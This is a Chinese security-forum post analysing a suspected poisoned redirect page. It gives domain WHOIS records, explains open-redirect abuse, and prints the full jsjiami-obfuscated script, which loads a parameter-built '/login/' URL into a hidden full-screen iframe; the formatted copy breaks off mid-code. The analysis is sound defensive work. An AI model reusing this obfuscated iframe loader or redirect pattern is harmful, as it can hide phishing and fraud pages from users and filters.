疑似强混淆白跳黑网页，由于缺失关键传参，无法完整推演具体黑产落地页

显示全部楼层 · 发表于 2026-7-17 22:14:26

本帖最后由 3306-1 于 2026-7-17 23:22 编辑

微信定义（包含仿冒客服、虚假贷款、虚假刷单、虚假App下载、虚假补贴、虚假校园墙等欺诈内容的链接）

被投毒域名（白名单）
域　名　Y3VtdGIuZWR[.]cn
注册商　
省／州　北京(bei jing)
注册人　京ICP备****6826号
邮　箱
注册日　
过期日　
更新日　
通过日　2020-03-12
IANA_ID　
状　态　正常
DNS　　kd1[.]Y3VtdGIuZWR[.]cn
　　　　root[.]Y3VtdGIuZWR[.]cn
DNSSEC　未探查

强混淆脚本，明文标志，确认独立运营
域　名　jsjiami[.]com
注册商　Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人　湖南唯凡网络科技有限公司
邮　箱
注册日　2018-01-19 10:16:47 UTC+8
过期日　2031-01-19 10:16:47 UTC+8
更新日　2021-08-28 16:28:12 UTC+8
通过日　2019-11-18
IANA_ID　420
状　态　正常
DNS　　dns13[.]hichina[.]com
　　　　dns14[.]hichina[.]com
DNSSEC　未配置

强混淆脚本，明文标志，关联官方主站
域　名　sojson[.]com
注册商　Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人　湖南唯凡网络科技有限公司
邮　箱
注册日　2013-11-18 15:29:39 UTC+8
过期日　2030-11-18 15:29:39 UTC+8
更新日　2021-08-28 16:28:13 UTC+8
通过日　2021-08-09
IANA_ID　420
状　态　客户端禁止转移
　　　　客户端禁止更新
DNS　　vip1[.]alidns[.]com
　　　　vip2[.]alidns[.]com
DNSSEC　未配置

先说结论

要么这是正常强混淆网页，根据给定传参进行些安全正常跳转活动，要么该正常强混淆网页规则被黑产或内鬼反推演摸清吃透，利用其源代码功能特性为自己黑产落地页再包装
说人话，例如 https://bbs.kafan.cn/go.php?url=kafan.cn**，很正常的跳转对不对？但没有自校验，也可以 url=黑产落地页，特别是 WP 等 CMS 系统经常被如此刷量

复制代码

传参疑似命中类黑产格式

25=5f3fde36aa4cb3&v=dkuouebg1&xjfadojtpns3=

复制代码

强混淆加密标志，付费说明缓存以及默认情况说明参考

免费用户
200KB文件以内的加密
单个Javascript文件加密
1.默认版本为:jsjiami.com.v7，VIP可以自定义版本
2.VIP用户可以改成自己的网址或者名称，规则:
收费服务说明
/ VIP只针对“最牛加密”和高级加密部分功能，其他工具都是免费的。
1.本站在开设收费服务之后，并不减弱对免费用户的服务，还是一如既往的为大家服务，只是在服务种类增加后提高了成本，故按需收费。
2.本站原属于 sojson.com ，为了更好的更专业的服务大家，所以独立运营，原来的加密还是可以继续使用。
3.关于安全，本站属于公司运营，属于SOJSON旗下网站，SOJSON在程序员业界是家喻户晓的网站，信誉度毋庸置疑，加密过程中，不会向代码中插入任何影响安全、后门等脚本，如有发现巨额赔偿，另外本站加密付费用户还有居多大公司使用，所以不要轻信谣言。安全说明，服务承诺：安全保障详细说明
4.目前已有付费用户、“百度”、“中国电信”等大公司，已知免费用户有“******最高检”、“****银行”、“中国移动”等。
年费会员加密的JavaScript，如有人找我，或者圈子里的人解密，我们会通知您。
终身三年的用户加密的JavaScript，在我和我的圈子里，不会解密您的JavaScript(给100万也不解密)
JS加密工具只是一个工具，最终解密难度如何，还取决于您原来的JavaScript书写，所以不要过于简单的JavaScript来依赖JavaScript加密工具，这是不明智的。
网上针对我们的JavaScript加密的内容，解密的教程类型的博客有很多，但是都是一些简单的代码，基本不是解密，而是找代码。

复制代码

对脚本行为推演参考（太过于复杂，已隐去反推演）

init()
├── 前置检查：window.location.hostname 检测
│ └── 若为空 → alert 提示错误（当前URL正常，跳过）
└── 参数分割：search.split('&') → 3个参数
│
├── ═══ 【分支一：参数数量 ≥ 3】═══ ← 当前URL命中
│ ├── 提取第三个参数，裁剪得到 "adojtpns"
│ ├── 非空校验通过
│ └── 内部常量比较（二选一）
│ ├── 子分支 1A：全局对象创建 iframe
│ └── 子分支 1B：document 创建 iframe
│
└── ═══ 【分支二：参数数量 < 3】═══（假设场景）
├── 常量 === 'AzxXE' ?
│ └── 子分支 2A：极简加载切换
└── else（常规双参数模式）
├── 提取第二个参数并裁剪
└── 内部条件二选一
├── 子分支 2B-i：模式A
└── 子分支 2B-ii：模式B

复制代码

根据明文标志参考说明，ｖ７版本存在防格式化默认特性，因此贴出强混淆未格式化原文

<script>
var _0xodB='jsjiami.com.v7';const _0x1a621b=_0x2f45;(function(_0x4e809c,_0x33b959,_0x2afb9e,_0x5aba83,_0x48f4aa,_0x1f1e47,_0x21a33a){return _0x4e809c=_0x4e809c>>0x1,_0x1f1e47='hs',_0x21a33a='hs',function(_0x54a352,_0x1cb1b7,_0x4fe31c,_0x2bd662,_0x18bab4){const _0x3e7dd5=_0x2f45;_0x2bd662='tfi',_0x1f1e47=_0x2bd662+_0x1f1e47,_0x18bab4='up',_0x21a33a+=_0x18bab4,_0x1f1e47=_0x4fe31c(_0x1f1e47),_0x21a33a=_0x4fe31c(_0x21a33a),_0x4fe31c=0x0;const _0x25a62c=_0x54a352();while(!![]&&--_0x5aba83+_0x1cb1b7){try{_0x2bd662=-parseInt(_0x3e7dd5(0x108,'bNmq'))/0x1+parseInt(_0x3e7dd5(0xd7,'By]L'))/0x2*(-parseInt(_0x3e7dd5(0xb2,'Tz24'))/0x3)+parseInt(_0x3e7dd5(0xee,'EdK('))/0x4*(-parseInt(_0x3e7dd5(0xd3,'Ewep'))/0x5)+-parseInt(_0x3e7dd5(0x110,'Pj2('))/0x6+parseInt(_0x3e7dd5(0xd6,'AGvu'))/0x7+parseInt(_0x3e7dd5(0x9c,'EdK('))/0x8+-parseInt(_0x3e7dd5(0x101,'kB4q'))/0x9*(-parseInt(_0x3e7dd5(0x102,'VNm]'))/0xa);}catch(_0x16416f){_0x2bd662=_0x4fe31c;}finally{_0x18bab4=_0x25a62c[_0x1f1e47]();if(_0x4e809c<=_0x5aba83)_0x4fe31c?_0x48f4aa?_0x2bd662=_0x18bab4:_0x48f4aa=_0x18bab4:_0x4fe31c=_0x18bab4;else{if(_0x4fe31c==_0x48f4aa['replace'](/[fwIHVNlgUnQDGrukWBdT=]/g,'')){if(_0x2bd662===_0x1cb1b7){_0x25a62c['un'+_0x1f1e47](_0x18bab4);break;}_0x25a62c[_0x21a33a](_0x18bab4);}}}}}(_0x2afb9e,_0x33b959,function(_0x22c1ad,_0x1b02d8,_0x304f83,_0x37bc94,_0x2aa1c3,_0x13c9d8,_0x2abd84){return _0x1b02d8='\x73\x70\x6c\x69\x74',_0x22c1ad=arguments[0x0],_0x22c1ad=_0x22c1ad[_0x1b02d8](''),_0x304f83='\x72\x65\x76\x65\x72\x73\x65',_0x22c1ad=_0x22c1ad[_0x304f83]('\x76'),_0x37bc94='\x6a\x6f\x69\x6e',(0x3a9c5e,_0x22c1ad[_0x37bc94](''));});}(0x198,0xa58fd,_0x2af3,0xce),_0x2af3)&&(_0xodB=_0x1a621b(0xd8,'isw1'));init();function init(){const _0x19d8ef=_0x1a621b,_0x52e353={'SJVbv':function(_0x53af61,_0x11e7c6,_0x400d66){return _0x53af61(_0x11e7c6,_0x400d66);},'mCfKq':'appLoading','zNAte':'none','lxddR':_0x19d8ef(0x99,'Ud1e'),'IfpaT':_0x19d8ef(0x116,'EdK('),'jsdhT':function(_0x46980b,_0x2869e5){return _0x46980b+_0x2869e5;},'OaKoX':function(_0x39695e,_0x8b665f){return _0x39695e+_0x8b665f;},'TsJkE':_0x19d8ef(0xab,'CbH8'),'FDsnh':'&time=','eVxGu':'iframeDiv','fvWGT':_0x19d8ef(0xfe,'c%J3'),'cofjh':function(_0x5ea213,_0x59aedf){return _0x5ea213!==_0x59aedf;},'FXLdm':_0x19d8ef(0xa1,'EdK('),'yyIBK':function(_0x3506db,_0x33635e){return _0x3506db(_0x33635e);},'azfBY':function(_0x40b935,_0x4f14cc,_0x500195){return _0x40b935(_0x4f14cc,_0x500195);},'oIXxQ':function(_0x2dc0e5,_0x57d4df){return _0x2dc0e5+_0x57d4df;},'IdGdO':'?time=','ojDyK':_0x19d8ef(0xaa,'[ywW'),'YMvLE':function(_0x52863a,_0x5e7bce){return _0x52863a===_0x5e7bce;},'AATfQ':_0x19d8ef(0xc5,'AGvu'),'CRfTd':function(_0x4dbc8e,_0x17af11){return _0x4dbc8e-_0x17af11;},'PtNvt':function(_0x455a36,_0x455588){return _0x455a36-_0x455588;},'MuIrj':function(_0x3801af,_0x1be155){return _0x3801af!==_0x1be155;},'lIhhR':_0x19d8ef(0xdd,'c%J3'),'JkcgG':function(_0x53cf98,_0x12ee68){return _0x53cf98+_0x12ee68;},'xsXxM':function(_0x485f58,_0xc84931){return _0x485f58===_0xc84931;},'KnzIZ':_0x19d8ef(0x105,'0&OE'),'THIhS':'AzxXE','XZCVR':'zVXbT','sKurS':function(_0x3bb08a,_0x372a38){return _0x3bb08a+_0x372a38;},'qFHbG':function(_0x12a273,_0x5ac2b9){return _0x12a273+_0x5ac2b9;},'tMFxl':function(_0x23d446,_0x45119e){return _0x23d446+_0x45119e;}};let _0x5b41d1=_0x52e353['ojDyK'];(!window['location'][_0x19d8ef(0xaf,'@oi@')]||_0x52e353['YMvLE'](window['location'][_0x19d8ef(0xef,'$q]h')],''))&&_0x52e353[_0x19d8ef(0xcc,'z@$*')](alert,_0x52e353['AATfQ']);let _0xc173b3=window['location']['search'][_0x19d8ef(0xb1,'AGvu')]('?','')['split']('&');if(_0x52e353[_0x19d8ef(0xc2,'$q]h')](_0xc173b3[_0x19d8ef(0xd9,'UE2R')],0x3)){console[_0x19d8ef(0xca,'6vyT')](0x1);let _0x1e51f4=_0xc173b3[0x2][_0x19d8ef(0xde,'BMZ#')]('=',''),_0x15f292=_0x1e51f4[_0x19d8ef(0x92,'!rex')](_0x52e353['CRfTd'](_0x1e51f4[_0x19d8ef(0x10c,'2]&8')],0x1)),_0x3ef4df=_0x1e51f4[_0x19d8ef(0xe1,'@oi@')](_0x15f292,_0x52e353['PtNvt'](_0x1e51f4[_0x19d8ef(0xf6,'^o[L')],0x1)),_0x590ac4=new Date()[_0x19d8ef(0xa5,'sWFh')]();if(!_0x1e51f4)alert(_0x52e353[_0x19d8ef(0x98,'[CI%')]);else{if(_0x52e353[_0x19d8ef(0xb5,'R0k9')](_0x52e353[_0x19d8ef(0x10f,'O*dZ')],_0x52e353[_0x19d8ef(0x118,'N@&F')])){const _0x31a1d5={'RQyiY':_0x52e353[_0x19d8ef(0x89,'B6BZ')],'tkymL':_0x52e353['zNAte'],'RkQtm':_0x19d8ef(0xc1,'sWFh'),'iZnre':_0x52e353['lxddR']};var _0x3dd1b0=_0x2575a8[_0x19d8ef(0xa0,'0&OE')](_0x52e353[_0x19d8ef(0xd4,'Ud1e')]);let _0x5c2f5f=_0x1a8336['location'][_0x19d8ef(0xa7,'O*dZ')][_0x19d8ef(0x117,'Ewep')]('?','')[_0x19d8ef(0xcb,'D]bO')]('&'),_0x138601=_0x5c2f5f[0x0]+'&'+_0x5c2f5f[0x1],_0x32ff43;_0x32ff43=_0x52e353['jsdhT'](_0x52e353[_0x19d8ef(0x91,'zn9Q')](_0x52e353['OaKoX'](_0x52e353[_0x19d8ef(0xbd,'NCK2')](_0x298330,_0x155725),_0x52e353[_0x19d8ef(0xf1,'EdK(')]),_0x138601)+_0x52e353['FDsnh'],_0x2710c0);var _0x3739f1=_0x1f78b3[_0x19d8ef(0xb4,'GJRv')](_0x52e353[_0x19d8ef(0xc6,'O*dZ')]);_0x7a609a[_0x19d8ef(0xe8,'pbTc')](_0x52e353['eVxGu'])[_0x19d8ef(0x9d,'zn9Q')](_0x52e353['fvWGT'],function(){_0x52e353['SJVbv'](_0x4bbeb2,function(){const _0x23ce22=_0x2f45;_0x3f5a91['getElementById'](_0x31a1d5[_0x23ce22(0xd2,'JuGV')])[_0x23ce22(0x106,'0&OE')][_0x23ce22(0xe6,'CbH8')]=_0x31a1d5['tkymL'],_0x147a0d[_0x23ce22(0x9b,'NCK2')](_0x31a1d5[_0x23ce22(0xe4,'R0k9')])[_0x23ce22(0xec,'B6BZ')]['display']=_0x31a1d5[_0x23ce22(0xcf,'$q]h')];},0x12c);}),_0x3739f1[_0x19d8ef(0xb0,'bNmq')]=_0x32ff43;}else{var _0x1e12d9=document[_0x19d8ef(0x103,'^$Q1')](_0x52e353[_0x19d8ef(0xc4,'isw1')]);let _0x4a9991=window['location']['search'][_0x19d8ef(0x10b,'X&^J')]('?','')[_0x19d8ef(0x104,'JuGV')]('&'),_0x587760=_0x52e353[_0x19d8ef(0x93,'c%J3')](_0x52e353[_0x19d8ef(0xbc,'8X0Y')](_0x4a9991[0x0],'&'),_0x4a9991[0x1]),_0x7e77ea;_0x7e77ea=_0x52e353[_0x19d8ef(0x10a,'n9Sm')](_0x52e353[_0x19d8ef(0xdf,'By]L')](_0x52e353[_0x19d8ef(0xfb,'8X0Y')](_0x5b41d1,_0x3ef4df),_0x52e353[_0x19d8ef(0xb7,'AGvu')]),_0x587760)+_0x52e353[_0x19d8ef(0xe7,'O*dZ')]+_0x590ac4;var _0x383b95=document[_0x19d8ef(0xed,'sWFh')]('iframeDiv');document[_0x19d8ef(0xad,'N@&F')](_0x52e353[_0x19d8ef(0x10d,'!rex')])[_0x19d8ef(0x10e,'bNmq')](_0x19d8ef(0xdb,'kxza'),function(){const _0xda079=_0x19d8ef,_0x5b7288={'xclrt':function(_0x4129ea,_0x57befd){const _0x205203=_0x2f45;return _0x52e353[_0x205203(0xfc,'bNmq')](_0x4129ea,_0x57befd);},'TGRsX':_0xda079(0xe5,'Xw)k')};_0x52e353['SJVbv'](setTimeout,function(){const _0x37796d=_0xda079;_0x52e353[_0x37796d(0xbe,'AL6A')](_0x52e353[_0x37796d(0xba,'qmt%')],_0x37796d(0x8d,'c$%H'))?(document[_0x37796d(0xbb,'[ywW')]('appLoading')['style']['display']=_0x52e353[_0x37796d(0x8a,'!bhm')],document['getElementById']('iframeDiv')[_0x37796d(0xe3,'^o[L')]['display']=_0x37796d(0x107,'pbTc')):_0x5b7288['xclrt'](_0x587306,_0x5b7288[_0x37796d(0x96,'Ewep')]);},0x12c);}),_0x383b95[_0x19d8ef(0x95,'Tz24')]=_0x7e77ea;}}}else{if(_0x52e353[_0x19d8ef(0x97,'UE2R')](_0x52e353[_0x19d8ef(0xfd,'EdK(')],_0x52e353['THIhS']))_0x5a98af(function(){const _0x1e8a59=_0x19d8ef;_0x232fee[_0x1e8a59(0x9a,'R0k9')](_0x52e353[_0x1e8a59(0x114,'Tz24')])['style'][_0x1e8a59(0xa9,'qmt%')]=_0x52e353[_0x1e8a59(0xd0,'[ywW')],_0x2df884['getElementById'](_0x52e353['eVxGu'])[_0x1e8a59(0xa6,'BMZ#')][_0x1e8a59(0xe2,'B6BZ')]=_0x52e353[_0x1e8a59(0xf4,'O*dZ')];},0x12c);else{let _0x522299=window['location']['search'][_0x19d8ef(0xdc,'8X0Y')]('?','')['split']('&'),_0x302a02=_0x522299[0x0]['replace']('=',''),_0x4abf89=_0x522299[0x1]['replace']('=',''),_0x318205=_0x4abf89['charAt'](_0x52e353[_0x19d8ef(0xd1,'AL6A')](_0x4abf89[_0x19d8ef(0xc9,'bNmq')],0x1)),_0x12c5da=_0x4abf89[_0x19d8ef(0xa4,'^o[L')](_0x318205,_0x4abf89['length']-0x1),_0x12a552=new Date()['getTime']();if(!_0x302a02)alert(_0x52e353[_0x19d8ef(0xff,'Pj2(')]);else{if(_0x52e353[_0x19d8ef(0x8b,'N@&F')]!==_0x19d8ef(0xf0,'bNmq')){var _0x1e12d9=document[_0x19d8ef(0xae,'&#cB')](_0x19d8ef(0xe9,'kB4q'));let _0x5e9490;_0x5e9490=_0x52e353['sKurS'](_0x52e353[_0x19d8ef(0xb9,'zn9Q')](_0x52e353['JkcgG'](_0x52e353[_0x19d8ef(0xc3,'qmt%')](_0x5b41d1+_0x12c5da,'.cn/login/'),_0x302a02),_0x52e353[_0x19d8ef(0xc8,'By]L')]),_0x12a552);var _0x383b95=document[_0x19d8ef(0x9b,'NCK2')](_0x19d8ef(0xc1,'sWFh'));document['getElementById'](_0x52e353['eVxGu'])[_0x19d8ef(0xa8,'8X0Y')](_0x52e353['fvWGT'],function(){const _0x3003ac=_0x19d8ef,_0xff7a9b={'NTYxg':_0x52e353[_0x3003ac(0xf9,'^o[L')],'XyxHy':_0x52e353['eVxGu'],'xOFPr':_0x52e353['lxddR']};setTimeout(function(){const _0x539cac=_0x3003ac;document[_0x539cac(0x90,'[F[d')](_0xff7a9b[_0x539cac(0x9f,'^o[L')])['style']['display']=_0x539cac(0xfa,'^o[L'),document['getElementById'](_0xff7a9b['XyxHy'])[_0x539cac(0x109,'AL6A')][_0x539cac(0xb8,'[CI%')]=_0xff7a9b[_0x539cac(0xf3,'!bhm')];},0x12c);}),_0x383b95[_0x19d8ef(0xa3,'isw1')]=_0x5e9490;}else{const _0x25f2e0={'gJHnI':'none','JIKfN':_0x52e353[_0x19d8ef(0x112,'BMZ#')],'nloMY':_0x52e353[_0x19d8ef(0xa2,'kB4q')]};var _0x18a5da=_0x33f98f[_0x19d8ef(0xae,'&#cB')](_0x52e353['IfpaT']);let _0x4338a2;_0x4338a2=_0x52e353[_0x19d8ef(0xb6,'N@&F')](_0x52e353[_0x19d8ef(0x111,'Pj2(')](_0x52e353[_0x19d8ef(0x100,'Xw)k')](_0x5f1e4d+_0x2d2013,'.cn/login/'),_0x41ca08),_0x52e353['IdGdO'])+_0x53dc9b;var _0x2bae30=_0x5e5791[_0x19d8ef(0xae,'&#cB')]('iframeDiv');_0x54fc10['getElementById'](_0x52e353[_0x19d8ef(0xeb,'X&^J')])[_0x19d8ef(0xf8,'Tz24')](_0x52e353[_0x19d8ef(0x9e,'6vyT')],function(){_0x52e353['azfBY'](_0x2d2941,function(){const _0x2e0e3a=_0x2f45;_0x40182d[_0x2e0e3a(0x8c,'By]L')](_0x2e0e3a(0x115,'zn9Q'))['style'][_0x2e0e3a(0xd5,'D]bO')]=_0x25f2e0[_0x2e0e3a(0xac,'!rex')],_0x4ac158[_0x2e0e3a(0x8f,'X&^J')](_0x25f2e0[_0x2e0e3a(0xce,'4Omd')])[_0x2e0e3a(0x94,'[ywW')][_0x2e0e3a(0x8e,'[ywW')]=_0x25f2e0[_0x2e0e3a(0xe0,'z@$*')];},0x12c);}),_0x2bae30[_0x19d8ef(0xcd,'@oi@')]=_0x4338a2;}}}}}function _0x2f45(_0x19ab39,_0xa3665b){const _0x2af3d2=_0x2af3();return _0x2f45=function(_0x2f453f,_0x7b43b){_0x2f453f=_0x2f453f-0x89;let _0x286539=_0x2af3d2[_0x2f453f];if(_0x2f45['FWTOth']===undefined){var _0x46cc8e=function(_0x21f076){const _0xb78aca='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3a98ed='',_0x4627f5='';for(let _0x8e61f8=0x0,_0x5a2822,_0x54a4b2,_0xf836a4=0x0;_0x54a4b2=_0x21f076['charAt'](_0xf836a4++);~_0x54a4b2&&(_0x5a2822=_0x8e61f8%0x4?_0x5a2822*0x40+_0x54a4b2:_0x54a4b2,_0x8e61f8++%0x4)?_0x3a98ed+=String['fromCharCode'](0xff&_0x5a2822>>(-0x2*_0x8e61f8&0x6)):0x0){_0x54a4b2=_0xb78aca['indexOf'](_0x54a4b2);}for(let _0x44f016=0x0,_0x1558c7=_0x3a98ed['length'];_0x44f016<_0x1558c7;_0x44f016++){_0x4627f5+='%'+('00'+_0x3a98ed['charCodeAt'](_0x44f016)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x4627f5);};const _0x497cf0=function(_0x5338e0,_0x3c2abc){let _0x5d5e58=[],_0x2575a8=0x0,_0x1a8336,_0x298330='';_0x5338e0=_0x46cc8e(_0x5338e0);let _0x155725;for(_0x155725=0x0;_0x155725<0x100;_0x155725++){_0x5d5e58[_0x155725]=_0x155725;}for(_0x155725=0x0;_0x155725<0x100;_0x155725++){_0x2575a8=(_0x2575a8+_0x5d5e58[_0x155725]+_0x3c2abc['charCodeAt'](_0x155725%_0x3c2abc['length']))%0x100,_0x1a8336=_0x5d5e58[_0x155725],_0x5d5e58[_0x155725]=_0x5d5e58[_0x2575a8],_0x5d5e58[_0x2575a8]=_0x1a8336;}_0x155725=0x0,_0x2575a8=0x0;for(let _0x2710c0=0x0;_0x2710c0<_0x5338e0['length'];_0x2710c0++){_0x155725=(_0x155725+0x1)%0x100,_0x2575a8=(_0x2575a8+_0x5d5e58[_0x155725])%0x100,_0x1a8336=_0x5d5e58[_0x155725],_0x5d5e58[_0x155725]=_0x5d5e58[_0x2575a8],_0x5d5e58[_0x2575a8]=_0x1a8336,_0x298330+=String['fromCharCode'](_0x5338e0['charCodeAt'](_0x2710c0)^_0x5d5e58[(_0x5d5e58[_0x155725]+_0x5d5e58[_0x2575a8])%0x100]);}return _0x298330;};_0x2f45['vNFewq']=_0x497cf0,_0x19ab39=arguments,_0x2f45['FWTOth']=!![];}const _0x3a552c=_0x2af3d2[0x0],_0x2a46e5=_0x2f453f+_0x3a552c,_0x515f37=_0x19ab39[_0x2a46e5];return!_0x515f37?(_0x2f45['prwJLy']===undefined&&(_0x2f45['prwJLy']=!![]),_0x286539=_0x2f45['vNFewq'](_0x286539,_0x7b43b),_0x19ab39[_0x2a46e5]=_0x286539):_0x286539=_0x515f37,_0x286539;},_0x2f45(_0x19ab39,_0xa3665b);}function _0x2af3(){const _0x57fb18=(function(){return[_0xodB,'wNjlsgujifuanDrmBGiUI.IcTQfokmNd.HvIW7UV==','W60Wi8kQiW','WP/dPMhdImo7qCkV','mKtcKsKlnG','wqNcKmkDAq','xSoeWQ3cTmormHddMmoxW7qdomo/rrNcQa','a8kIn37dGq','WRJdIJ3dQtxdHCoWDdrgn0/dHG','W6hcTfdcOfq','eMpcIJu1','ymoKi00cFYtcTmo+rd3cPSks','WRjPnmoyxa','v8k+W7zcthldJbJdLJe','WRPHtmoRgCk0DSo/','mdxdQw7dKg9r','r34ycti','AGyOeCkR','mmkoWOq0W5G','C20ZnZi','WRJdNstcUG7dKMJcH8kXWRbMeuHv','pSojW7G{过}F{滤}WQ4','owRcSW4wWP7dSa','WORdPMxdOCo2r8kNzSk+WOaaWR5rW6q','sYBdKf4jW4vhWPWvW6LBWQy3eW','xmk9W6jMDW','xZFcICkOxCkn','WPz3B8omW4G','lNFcUriF','WQXymq','fHFdI3hdQq','WRtdOL90WPG','W6HkW7eLW4i','mfdcI8kzW6S','W5xdKYBdV8oWpmoQWPDGWPBdS2TXW7q','W6VdLSocyHBcL23cJmobWPKYCHtcUG','W6qHm8k/wmoJi8oicN8yWR9f','v8kQW6jlvxBdHGxdTd/dIqmfW6hcJmkS','WO/dRXTonW','Cmk/uCkiW6y','wmoorhJdI1e4W59dW47dRmkzWRzD','WPvwy8oQoW','BSkrcuvO','WOzdWRi','tCkEASkdW7xcHSkosXi','WQ01c8oJW4JcMK0','behcIX4L','hmkopMtdSgC','WQDZW5VdSmkanSkWWR7dLConW45lWPlcVsNcKW'].concat((function(){return['xeFdVqddG8olma','nxFcTa4jW4xcPNzcWQyoyq','y8k8WOrY','wXxcOmk0vq','tfiejaWygSkGaWNcRSkrW5fB','WQL8ECorr2ZcRmkVWR/cMSk3WPhcT8on','W7SnEJX+WQS','tmosWQO','W7dcTCoCWQNcN8kGWPe','W6Czy8kQwXrvWOtdKcC','WPCDbh1DfYhcISkP','W4rtWPVcTfxdMrK6esevESkRjG','W7/dGXVdImo2','zfy7dJG','W5BcO8oMWQ7cUW','W41IW5yZW7/cRXe','r8kiW45Sza','FNBdGHtdGG','oMBcTdSwWPRdPdXBWQu7nHBcHa','WQXKW5VdNCkI','W6BdGmostY4','nmk/ELf+','pNr9ACoQW5jwvrVcSsm','WPmEcGP7pddcHmkVW68','WQm2dCowW4ZcKMZdSse','CSkAW5G2lW','tgpdIaJdGW','WRXxWQhdQ8ky','57645Bob5y2U5PA1','cSk9j1hdPG','W5/cSsJcLSkTf8kawSkYWPyKWRe','WPBdNbFcMY0','u8ofWQFcLSotpW','WOxdTIS','W4RcHeRcHmk2','WQZdHNVcN8oc','W7SAEa','WPFdLCkEuYC','qSknW4aidW','j03cGqOF','b8kKuK1I','W7j+rvTk','CglcOddcHJL+W4HcWRuwWR8','g1RcLmkBW5q','W53cNvxcNCkUWRzv','WRtdQCkCW7xdISo6W4hcSSompGhcTqm','W6JcIMJcScZdPfBcTCkw','WP9cWRVdO8kTvtqgWO0UW5hcHSkyW70','WQddTgLRWQef'].concat((function(){return['W6WtzmkHhMuuWRldNIrsWRb2','CWb9W6C','WRrYW4/dMCkxmmk7','WP1JtmotW5W','bvdcGH4HBu8','WPddMrVcKdO','WRVdK13cKmoq','W7SDEt1PWRfwWOar','yYW9kSk2W4z5','tCkFCCkCW6q','W6ddNqpdJSoX','572R5Bof5y+q5Psm','kCk2WPK9e3tdNq','kCkVlhJdUW','hmomWPZdMrH6b8kgWPJcMhSZWRrQ','B8kqjeDivmokgq','WRVcHCoACb7cS1dcUW','WOJdLwNdO8oV','Dde3nSk/','WQ01c8oYW43cKKxdVtNdGaZdKmkWWQ8','W6aUACoAd8kus8oi','wmkYW48icCov','vmoxWQRcLCo0','WOnRt8oMlG','WQBdOM1LWRqadSk3W58EWRXuWOFdPW','mSkpWOmqW48','a8kto3ldGq','EMpcQdVdH0TnW7vJWQy','uSkozSkxW7xcNa','W6eVmmk8w8oJkCoWd0q4WQnp','WR5onSowwZzcWPtdNZ9UWO9BWPhdMZC','u8kOBSk7W7a','umkezSkv','WOX8W5ZdKSkX','rSozWOdcS8oS','WPX2F8oemq','WRv5rCoh','W4/cVfZcVLq','hSk1wrnJ','mCoywXLstCoLjCojea','qSo+WPRcL8oCfmoqW5TbdCkm','DCovl8kSz8kLW7tcHCkMb8kdlMSu','W5nFufTN','ESoeExJdLq','tmoFsvhdGG','gCofWOFdVX8','dSkqW7JdGmkEyuZdRSonW5GLimoJ','jmkKzvDZ'];}()));}()));}());_0x2af3=function(){return _0x57fb18;};return _0x2af3();};var version_ = 'jsjiami.com.v7';
</script>

复制代码

源码已格式全文，已标注（＃此处触发请求调用堆栈）关键点

<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
</head>
<body>
<div id="app" class="aminui">
<div class="app-loading" id="appLoading">
<!-- <div class="app-loading__logo">
<img src="img/logo.png"/>
</div> -->
<div class="app-loading__loader"></div>
<div class="app-loading__title">加载中....</div>
</div>
<style>
html,
body {
height: 100vh;
width: 100vw;
margin: 0;
overflow: hidden;
}
.app-loading {
position: absolute;
top: 0px;
left: 0px;
right: 0px;
bottom: 0px;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
background: #fff;
}
.app-loading__logo {
margin-bottom: 30px;
}
.app-loading__logo img {
width: 90px;
vertical-align: bottom;
}
.app-loading__loader {
box-sizing: border-box;
width: 35px;
height: 35px;
border: 5px solid transparent;
border-top-color: #000;
border-radius: 50%;
animation: .5s loader linear infinite;
position: relative;
}
.app-loading__loader:before {
box-sizing: border-box;
content: '';
display: block;
width: inherit;
height: inherit;
position: absolute;
top: -5px;
left: -5px;
border: 5px solid #ccc;
border-radius: 50%;
opacity: .5;
}
.app-loading__title {
font-size: 16px;
color: #333;
margin-top: 30px;
}
@keyframes loader {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>
</div>
<div id="myIframe" style="margin: 0;overflow: hidden;height: 100%;position:fixed;width: 100%;top:0;right:0">
<iframe id="iframeDiv" type="text/html" sandbox="allow-scripts allow-popups allow-same-origin"
style="border: 0;width: 100%;height: 100%;overflow: hidden;display:none"></iframe>'
</div>
</body>
<script>
var _0xodB = 'jsjiami.com.v7';　＃湖南唯凡网络科技有限公司，版本ｖ７
const _0x1a621b = _0x2f45;
(
function (
_0x4e809c,
_0x33b959,
_0x2afb9e,
_0x5aba83,
_0x48f4aa,
_0x1f1e47,
_0x21a33a
) {
return _0x4e809c = _0x4e809c >> 1,
_0x1f1e47 = 'hs',
_0x21a33a = 'hs',
function (_0x54a352, _0x1cb1b7, _0x4fe31c, _0x2bd662, _0x18bab4) {
const _0x3e7dd5 = _0x2f45;
_0x2bd662 = 'tfi',
_0x1f1e47 = _0x2bd662 + _0x1f1e47,
_0x18bab4 = 'up',
_0x21a33a += _0x18bab4,
_0x1f1e47 = _0x4fe31c(_0x1f1e47),
_0x21a33a = _0x4fe31c(_0x21a33a),
_0x4fe31c = 0;
const _0x25a62c = _0x54a352();
while (!![] && --_0x5aba83 + _0x1cb1b7) {
try {
_0x2bd662 = - parseInt(_0x3e7dd5(264, 'bNmq')) / 1 + parseInt(_0x3e7dd5(215, 'By]L')) / 2 * ( - parseInt(_0x3e7dd5(178, 'Tz24')) / 3) + parseInt(_0x3e7dd5(238, 'EdK(')) / 4 * ( - parseInt(_0x3e7dd5(211, 'Ewep')) / 5) + - parseInt(_0x3e7dd5(272, 'Pj2(')) / 6 + parseInt(_0x3e7dd5(214, 'AGvu')) / 7 + parseInt(_0x3e7dd5(156, 'EdK(')) / 8 + - parseInt(_0x3e7dd5(257, 'kB4q')) / 9 * ( - parseInt(_0x3e7dd5(258, 'VNm]')) / 10);
} catch (_0x16416f) {
_0x2bd662 = _0x4fe31c;
} finally {
_0x18bab4 = _0x25a62c[_0x1f1e47]();
if (_0x4e809c <= _0x5aba83) _0x4fe31c ? _0x48f4aa ? _0x2bd662 = _0x18bab4 : _0x48f4aa = _0x18bab4 : _0x4fe31c = _0x18bab4;
else {
if (
